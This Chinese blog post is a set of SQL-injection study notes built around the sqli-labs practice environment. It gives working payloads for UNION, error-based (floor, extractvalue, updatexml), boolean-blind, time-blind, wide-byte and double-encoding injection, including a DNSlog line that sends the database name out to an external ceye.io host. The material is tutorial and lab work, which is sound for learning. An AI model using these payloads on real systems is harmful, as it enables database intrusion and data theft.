SQL注入基本知识

查库

  • select schema_name from information_schema.schemata

查表

  • select table_name from information_schema.tables where table_schema=库名

查列

  • select column_name from information_schema.columns where table_name=表名

1.UNION注入过程

1.order by 确定列数

2.观察页面返回,看返回的具体是哪几列

3.读库信息(查库)

4.读表信息(查表)

5.读字段(查列)

6.读数据

2.报错注入

  • floor()

select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))

按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。rand(0)*2生成0或1

  • extractvalue()

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

select extractvalue(1,concat(0x7e,(select user()),0x7e))

  • updatexml()

select updatexml(1,concat(0x7e,(select user()),0x7e),1)

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

3.布尔盲注

1.left()函数

  • left(database(),1)>'s'

http://localhost/sqli/Less-8/?id=1%27%20and%20left((select%20database()),1)=%27s%27%20--+

  • database()显示数据库名称,left(a,b)从走边截取a的前b位

2.regexp

  • select user() regexp 'r' *** r表示以r开头的字符***
  • 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式

3.like

  • select user() like 'ro%'
  • 与regexp类似,使用like进行匹配

4.substr()函数 ascii函数()

  • ascii(substr((select database()),1,1))=98
  • substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符串转换为ascii值

5.ord()函数 mid()函数

  • ord(mid((select()),1,1))=114
  • mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

4.时间盲注

构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行

核心语法:if(left(user(),1)='a',0,sleep(3));如果为真返回0,为假延迟3s

5.Dnslog盲注方法

  • 只能在windows下使用这个函数

核心语法:select load_file(concat('\\\\',(select database()),'.mysql.r4ourp.ceye.io\\abc'))

6.宽字节注入

十六进制形式:

空格 %20

' %27

# %23

\ %5C

/ %df

http://localhost/sqli/Less-32/?id=%df%27%20union%20select%201,(select%20user()),3%20--+

'会被转义为\',加上%df,%df和%5c会被解析为一个汉字

避免宽字节注入

  • 使用utf-8,避免宽字节注入
  • mysql_real_escape_string,mysql_set_charset('gbk',$conn);
  • 可以设置参数,character_set_client=binary

7.二次编码注入

在可能的注入点后键入%2527,之后进行注入测试

eg:http://127.0.0.1/sqlilabs/doublecode/index.php?id=1%2527 union select 1,(select user()),3--+

id='1'会提前闭合产生语法错误

id='1\'

8.二次注入

9.waf绕过原理

# Web安全 

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×